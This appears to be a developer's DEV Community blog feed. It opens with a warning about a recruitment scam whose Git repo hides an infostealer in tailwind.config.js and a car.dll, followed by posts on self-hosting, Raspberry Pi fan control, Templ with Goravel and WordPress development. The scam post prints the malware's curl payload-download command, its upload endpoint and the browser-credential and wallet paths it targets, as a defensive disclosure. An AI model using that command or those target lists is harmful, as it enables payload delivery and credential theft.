DEV Community: Andrei Telteu

Beware recruitment emails with malware infected git repos ! admin@autosquare.store scam

Andrei Telteu — Fri, 29 Nov 2024 12:12:20 +0000

New update. Read at the bottom ⏬

I received this email: from sender: admin@autosquare.store

Figma design link: https://www.figma.com/design/3p7jJDw9itkYYCTi0IqAJh/AutoSquare.Store?node-id=452-7274&t=R1qT9n8hKbqg98sN-1 (looks very legit)

I replied that I am interested and asked for a job description. He replied back with:

Red Flag ! Usually companies keep their source private and a candidate gets access to it only when after video meetings and an agreement for the work required.
Some companies also require an NDA to be signed before giving access to it's source code.

The bitbucket link is: https://autosquare-admin@bitbucket.org/autosquareshop/autopart.git

A binary file caught my eye called "car.dll". Red Flag ! Never trust files that end in .exe .dll .bat .ps1 !

The virusreport scan for this binary file is: https://www.virustotal.com/gui/file/1fd921159de8ccf3c33c7ad3d52a4186c2695b858435e8e327c4d95a8d1b048a/detection
and shows 4 detections as malware, along with external network calls to this endpoints:

GET http://www.royalsevres.com/javascript/activex_patch.hwp 200
POST http://103.35.190.170/Proxy.php 200
POST https://45.8.146.93:443/proxy/Proxy.php 200

I outlined the tailwind.config.js file because I found there 2 more red flags:

obfuscated code. No real project needs obfuscated code in this config file.
plain code that starts the car.dll malware

I just want to raise awareness of this new type of scam.

UPDATE

I forgot to mention, the car.dll (or any .dll) malware only applies for Windows OS !
If you use Mac or Linux you should be safe from car.dll.

However you are not safe from the obfuscated js code. I tried to decode it using https://obf-io.deobfuscate.io/ but I don't understand exacly what it's doing.

It imports the following packages: fs (uses fs.readdirSync, statSync, createReadStream, copyFile, writeFileSync), os (uses os.hostname, platform, homedir, tmpdir, type), path, request, child_process.exec.

I also found this strings: .ldb, .log, Local/BraveSoftware/Brave-Browser, Local/Google/Chrome, Roaming/Opera Software/Opera Stable, Local/Microsoft/Edge, /Library/Application Support/, Firefox, solana_id.txt, /.config/solana/id.json, /AppData/, /User Data, Login Data, /Library/Keychains/login.keychain, /.local/share/keyrings/, /.mozilla/firefox/, \\.pyp\\python.exe

If I had to guess, it scans your Edge, Chrome, Firefox and Opera browser, on both Windows and Mac for local files containing the database where your passwords are stored, and searches for something related to Solana Blockchain ? Maybe it searches for your private keyfile.

It also uses curl to download a zip file:
curl -Lo "tempdir\\p.zi" "http://45.83.140.231/pdown"
From Cyprus https://iplocation.com/?ip=45.83.140.231
I downloaded and extracted the file out of curiosity and it contains the python binary and some libraries.

I also found:
POST http://45.83.140.231/uploads - where the script uploads the stolen information from your browser
GET http://45.83.140.231/client/xyz2 - another obfuscated script, in python

TL;DR

I belive that the obfuscated js snippet hidden in tailwind.config.js tries to steal your informations from your browser like your session cookies, saved passwords and solana wallet, and uploads it to 45.83.140.231
I sent an abuse report to the hosting company that owns this IP.

I found other people talking about this scam:

Should you self-host open-source services or pay for hosted versions ?

Andrei Telteu — Fri, 22 Nov 2024 02:26:27 +0000

Featured image by ChatGPT/DALL-E

I was watching this video on using a paid hosted version of an open-source software instead of self-hosting it:

There are both benefits and risks to each approach that you should take in consideration when you make a choice like this.

This also depends on how this service affects your business:

A. If this service is critical to your business: (like for example the in browser IDE that the above video mentions for his e-learning platform)

you should self host if possible.
you should know the ins and outs of. Gain as much knowledge as you can.
you should spend as much time as needed for this integration to be frictionless and perfect.

Arguments:

This is the core of your business ! It should be the feature that differentiates you from any other competitor.
If something goes wrong and you have to change this service, there will be a very high impact on your customers. Maybe you can't find a good enough alternative, or one with the same features/customizations. The vendor lock-in here has a high impact.
You are free to change/improove any of the features of said service given enough dev time and a permissive code license.

B. If the service is not critical: (like your support ticket system, chat support, invoicing system, payment provider, knowledge base, blog, license management, etc)

you should use a hosted version / Software As A Service / external solution.
you should spend as little time as needed.

Arguments:

It it not the core of your business, it does not matter that much.
If something goes wrong and you have to change this service there will be very little impact on your customers. Many of them won't even notice. If you can't find an alternative with the same features, it doesn't matter that much.

The risks involved for hosted versions / SaaS

I want to present to you some scenarios in which the hosted version can affect your startup:

The external company can go bankrupt and you have to migrate off it as quick as possible.
You don't know their financial situation.
The external company can focus on a new product and deprecate / stop support for your version.
You don't know their roadmap.
When you evolve and want to add/improve a feature you are limited to the customization provider and the external prover's willingness to work with you to change something for you.
This can change over time as you grow or your external provider grows.
The external company can shift its focus on enterprise and increase prices overnight by 100x.
You don't know their leadership.
For example this 120k$ forced bill from CloudFlare (ThePrimeagen video here)
The external company can get hacked and your customers data can be leaked. Even if the external service does not host any of your customers data, if they get hacked, the bad actor can modify the service to steal customers data without you taking any action (like upgrading a npm dependency like in the case of a supply chain attack).
You don't know the security measures that all your external services apply to their business.
When the external provider of one of your CORE features has an outage, you have an outage that you can't do anything about.

The benefits of Self-Hosting !

When you need a feature/customization that is not supported by your external solution: you just fork it and invest dev time into it. (If the license supports it)
When something breaks, code regression: you have the power to rollback. You don't have to wait for the external provider to fix it.
When you have an outage because of a bad config: you have the power to fix it and change your deployment procedure to never happen again.
When you have an outage because of your hosting provider: you can change your hosting.

Conclusion

My point is that the CORE features of your business should be as close to your control as possible.
Too many external dependencies increase your overall risk because companies are not your buddies from high school, companies evolve, companies change, companies get bought out, companies get hacked, and so on.

For your startup the risks are worth the time saved ?
At the stage you are at ?
What about at a later stage ?

Checkout my blog at telteu.ro

How to control a Noctua NF-A20 PWM fan from Raspberry Pi (OFF or 20%-100%)

Andrei Telteu — Sun, 17 Nov 2024 03:05:06 +0000

I am making my homelab and I need to control the Noctua NF-A20 PWM chromax.black.swap 200x200mm fan from Raspberry Pi, and this is how I've done it.

Parts you need:

Some Raspberry Pi
The Noctua fan (should work with other 12V noctua fans as well)
A multimeter
LM2577 DC-DC Step Up Booster Converter
NPN Transistor
1K Ohm Resistor

Diagram:

Let's start from the Pi:

1- Connect a wire from GPIO pin 16, or any simple gpio pin, to the 1k resistor, and then the other end of the transistor to the middle pin of the transistor.

2- A wire from the right pin of the transistor to any ground pin of the Pi. The face of the transistor is the flat one.

3- A wire from the left pin of the transistor to the "IN-" 5V negative input of the power convertor.

4- A wire from one of the 5V Pi pins (top right) to the "IN+" 5V positive input of the power convertor.

5- Important: adjust the converter to 12V or lower.
Do NOT connect the fan right now because you can permanently damage it because of high voltage.
    A- Turn on the converter by connecting a ground pin from the Pi directly to the Power Converter's "IN-" connector OR by runing the code from the next section and just calling speed(fan, 100) / time.sleep(180).
    B- Connect a multimeter to the converter's "OUT+" and "OUT-" and select voltage.
    C- Turn the small yellow screw until the multimeter shows 12V or a bit smaller to be safe. I have mine at 11.5V.

D- When you are done disconnect the multimeter and the ground wire, or turn off the script.

The pinout from the noctua fan I found here:
https://faqs.noctua.at/en/support/solutions/articles/101000081757-what-pin-configuration-do-noctua-fans-use-

5- Wire from power convertor "OUT-" (12V negative) to noctua pin 1

6- Wire from power convertor "OUT+" (12V positive) to noctua pin 2

5- Wire from noctua pin 4 to Pi GPIO pin 12. This pin has PWM capability.

The code:

I used the code from this tutorial published on the-diy-life.com by Michael Klements (original code), and I modified it to use the transistor to turn off the fan, because the fan PWM does not scale down to 0 RPM. The minimum rotational speed is 20% (350RPM).

#!/usr/bin/env python3
import RPi.GPIO as GPIO
import time
import signal
import sys

# The Noctua PWM control actually wants 25 kHz (kilo!), see page 6 on:
# https://noctua.at/pub/media/wysiwyg/Noctua_PWM_specifications_white_paper.pdf
PWM_FREQ = 25           # [Hz] PWM frequency
FAN_PIN = 12            # BCM pin used to drive PWM fan
TRAN_PIN = 16           # NPN Transistor

def speed(fan, percent):
    print("set fan to", percent)
    if (percent < 20):
        GPIO.output(TRAN_PIN, False)
        fan.ChangeDutyCycle(20)
    else:
        GPIO.output(TRAN_PIN, True)
        fan.ChangeDutyCycle(percent)

try:
    signal.signal(signal.SIGTERM, lambda *args: sys.exit(0))
    GPIO.setwarnings(True)
    GPIO.setmode(GPIO.BCM)
    GPIO.setup(TRAN_PIN, GPIO.OUT)
    GPIO.setup(FAN_PIN, GPIO.OUT, initial=GPIO.LOW)
    fan = GPIO.PWM(FAN_PIN, PWM_FREQ)

    # do a few cycles just for testing
    speed(fan, 100)
    time.sleep(30)

    speed(fan, 50)
    time.sleep(30)

    speed(fan, 0)
    time.sleep(30)

    speed(fan, 20)
    time.sleep(30)

    speed(fan, 70)
    time.sleep(30)

    speed(fan, 100)
    time.sleep(30)

except KeyboardInterrupt:
    pass

finally:
    GPIO.cleanup()

Done. Happy tinkering !

How to use Templ with Goravel

Andrei Telteu — Sat, 04 May 2024 18:13:11 +0000

Install the framework and tools

First let's install Goravel. It's a batteries included Go Web Framework for developers familiar with the Laravel Framework.

Steps from Getting started documentation:

// Download framework
git clone https://github.com/goravel/goravel.git
rm -rf goravel/.git*

// Install dependencies
cd goravel
go mod tidy

// Create .env environment configuration file
cp .env.example .env

// Generate application key
go run . artisan key:generate

Now install templ (for html templates) and air (for hot reloading)

go install github.com/a-h/templ/cmd/templ@latest
go install github.com/air-verse/air@latest

Configure a simple frontend template structure

(work in progress - I will update with global variables and script push)

• Add this line in your /.gitignore file: *_templ.go
• Delete resources/views/welcome.tmpl
• Create 2 folders in resources/views, home and parts
• In the folder resources/views/parts create 3 files:
1. resources/views/parts/header.templ

package parts

templ Header() {
    <h1>Header</h1>
}

2. resources/views/parts/footer.templ

package parts

templ Footer() {
    <footer>
        <p>&copy; 2024 MyProject</p>
    </footer>
}

3. resources/views/parts/template.templ

package parts

templ Template() {
    <!DOCTYPE html>
    <html>
        <head>
            <title>My Page</title>
            <meta charset="utf-8"/>
            <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
            <meta name="viewport" content="width=device-width, initial-scale=1"/>
            <!-- Your styles go here -->
        </head>
        <body>
            @Header()
            { children... }
            @Footer()
            <!-- Your scripts go here -->
            <script src="//unpkg.com/alpinejs" defer></script>
        </body>
    </html>
}

• Create your homepage component: resources/views/home/index.templ

package home

import "goravel/resources/views/parts"

templ Index() {
    @parts.Template() {
        <h1>Homepage</h1>
        <div>Templ is awesome</div>
    }
}

Their documentation for children components is here. They have an example for a layout structure but I find this method better.

Use this homepage component in your controller

I made this new file app/http/controllers/controller.go where I can store some helpers available to any controller.

package controllers

import (
    "github.com/a-h/templ"
    "github.com/goravel/framework/contracts/http"
)

func RenderTempl(c http.Context, comp templ.Component) http.Response {
    c.Response().Status(200)
    c.Response().Header("Content-Type", "text/html")
    comp.Render(c, c.Response().Writer())
    return nil
}

This helper renders the provided templ component in the response buffer along with a 200 status header. My first try at this I was using c.Response().Writer().Header().Set() but is does not work ! The only way to set response headers is c.Response().Header(key, val).
Let's use it in app/http/controllers/home_controller.go

package controllers

import (
    "goravel/resources/views/home"
    "github.com/goravel/framework/contracts/http"
)

type HomeController struct {
    //Dependent services
}

func NewHomeController() *HomeController {
    return &HomeController{
        //Inject services
    }
}

func (r *HomeController) Index(ctx http.Context) http.Response {
    // doing awesome stuff here
    return RenderTempl(ctx, home.Index())
}

Now set this new route:

package routes

import (
    "goravel/app/http/controllers"
    "github.com/goravel/framework/facades"
)

func Web() {
    homeController := controllers.NewHomeController()
    facades.Route().Get("/", homeController.Index)
}

Configure hot reloading with Air

Goravel already comes with the configuration file (.air.toml) you need for this, we only need to add the templ generate command in the cmd parameter, like this:

[build]
  bin = "./storage/temp/main"
-  cmd = "go build -o ./storage/temp/main ."
+  cmd = "templ generate && go build -o ./storage/temp/main ."

If you are using Windows add .exe to main in both bin and cmd parameters:

[build]
  bin = "./storage/temp/main.exe"
  cmd = "templ generate && go build -o ./storage/temp/main.exe ."

Done ! Happy coding !

What I learned by making and maintaining a custom WordPress shop

Andrei Telteu — Mon, 23 Jan 2023 21:09:56 +0000

Backstory

In 2019 we got a big client that wanted a big shop on WordPress at my job, even though our agency only used Laravel, CodeIgniter, and React-Native at that time, and we did not have experience working with WordPress.

I was the guy with the most experience in WordPress at that time from personal hobby projects, so I was the main developer on that project, in which I learned a lot about WordPress.

Working with Laravel for a few years, I wanted to bring to WordPress some of the features of Laravel, like Blade templates, Eloquent models, and a Router.

Solutions

The solutions I found at the time are:

Sage starter theme by Roots - this gives us the Blade template engine that we are familiar with from Laravel.
TheUnderScorer/wp-eloquent - with this package installed in a custom WordPress plugin, in some parts of the project we used Eloquent ORM for general queries, in other parts we used the schema migration feature.
At the time I did not find or did not choose a solution for the router and controllers. We did not have any particular requirement for this; it was just a nice-to-have. So I made my own, using WordPress REST API features.

Looking back, Themosis framework would have been a way better choice that incorporates all previously mentioned features, plus more: middleware, helpers for any wp native feature, and Custom Post Types with already made field types. I would choose Themosis if I had to do this again in WordPress.

Even smarteist/wordpress-router deserves a mention here. It's a lightweight router.
Let's use awesome features from WordPress as well. The Gutenberg editor was new and shiny at the time, and I found a simple way to make custom blocks with the Block Lab plugin, now renamed to Genesis Custom Blocks.

Advices

A few pieces of advice when making a custom wp theme or plugin:

Don't do it ! (in certain scenarios)

First of all, if you know this website will need to scale to multiple millions of pageviews a month, explain to your client that WordPress will eventually become very hard to scale and maintain and try to explore other options like:

WordPress headless (build the frontend in a different stack and only pull data from WordPress)

I will present a solution for this in a future post using Solid-Start.
Laravel with an administration panel (Laravel Nova, Backpack for Laravel, Filament Admin are some of the top choices)

I will present my plugin customberg/customberg-php in a future post, which makes it easy to create and deploy custom Gutenberg plugins.

Refactor functions.php

Don't put everything in a single functions.php file!

Instead, you can make a folder to organize your functions based on feature, and then load them manually or using a glob, in a try-catch block:

// automatically with glob:
foreach (glob(dirname( __FILE__ ) . '/functions/*.php') as $filename) {
    try {
        require_once $filename;
    } catch (\Exception $e) {
        echo 'Custom functions failed: ' . $filename . ' - ' . $e->getMessage();
    }
}
// if you choose to include them manually, you can optionally enable
// them based on visitor IP/cookie (useful for testing in production)
try {
    include dirname( __FILE__ ) . '/functions/newsletter.php';
} catch (\Exception $e) {
    echo 'Custom functions failed: ' . $e->getMessage();
}

Too many custom plugins does not help

Don't make a custom plugin for every feature. It can cause problems when you want to use a function or helper from another custom plugin, and the benefits of custom plugins for every feature disappear because you end up with a plugin depending on another plugin.

SQL Indexes are essential

Always check database schema created by third-party plugins for valid indexes!

Not all plugin authors understand how to make efficient SQL indexes, and this will eventually cause you problems when you reach a certain scale.

If you want to understand how to make very efficient composite indexes here is a great talk at Laracon Online by Aaron Francis - Database performance for Application Developers

Sometimes you have to give up on plugin updates

When you are relying very much on a third-party plugin, be prepared to give up on updates. We end up always wanting more customization from plugins, and when we don't have any action or filters to use, we have to modify the plugin and disable updates by setting the plugin version to 100.

We had this happen also for plugin bugs or performance improvements.

Sometimes custom is just better

Sometimes custom integration with native WordPress functions instead of third-party plugins that do the same thing could be better in the long run. Because we did not create custom Gutenberg blocks using their native APIs, we relied on Block Lab too much, and now we have to migrate to Genesis Custom Blocks and individually test and maybe fix 57 blocks.

Update >> Test

Always test all your plugin customizations after every update.
We had a few things break: Woocommerce cart count (used in a page template, and a block), custom email BCC header attached to a Contact Form 7 form.

Prepare for cache from the start

For better caching try to use javascript for user-related html differences, like different add-to-cart buttons when the product is already in the cart, recently viewed products, etc. If you make these features using PHP, you can't cache those paged publicly, only privately (individual cache per user), which is not efficient at scale. Instead make an ajax request and change the html via javascript.

Experiment with scaling options

If you have problems when scaling up, try experimenting with different database solutions (like managed databases from a cloud provider), or different webserver and cache plugin combinations: like OpenLiteSpeed and LiteSpeed Cache, or Nginx and WP-Super-Cache, and also different settings on said plugins, for example for us Object cache using Redis from the LiteSpeed Cache plugin was generating a huge unnecessary load and making our shop load much slower.

Git

If you try to use Git, having it on the entire installation (the base path) might save you from a catastrophe.

Add to gitignore any temporary folder, uploads, cache.
Commit after every individual update on wp or any plugin, might help you rollback safely if the new version breaks your customizations (beware some plugins make database modifications as well)
Having separate long-lived branches for your dev environments will help you compare the different modifications all over the place (theme assets, templates, functions, custom plugins, custom blocks, etc)
Beware: Making a merge between two long-lived branches can be dangerous. If you have different versions of WordPress or plugins it's a no-no because of database modifications, every WordPress or plugin update can make database modifications that don't carry over via git.
The way we deploy features to production is by comparing the two branches via git (VS Code extension GitLens), and manually copying every modification.

Git for Security

What I meant earlier by saving you from a catastrophe is, websites often can get hacked for multiple different causes, some of which are not in your control: weak passwords, plugin vulnerabilities, brute force, and server misconfigurations.

Surely backups help here, but there is always that chance that a hack can be undetected for months, and because backups usually cover 1-2 weeks the backup can contain the virus as well pretty well hidden along WordPress core files.

The way git helps here is you just periodically check using git status. The only flaw to this strategy is if the virus hides inside folders included in gitignore, like uploads or temporary folders.

Security

Speaking of security, I can't endorse enough the plugin WordFence Security. Setup bruteforce permanent bans, two-factor authentication, and monitor successful login email alerts for IP locations that you don't recognize.
Changing the login URL and the default admin username are great additions, also disable XML-RPC, and, as always, only use strong randomly generated passwords.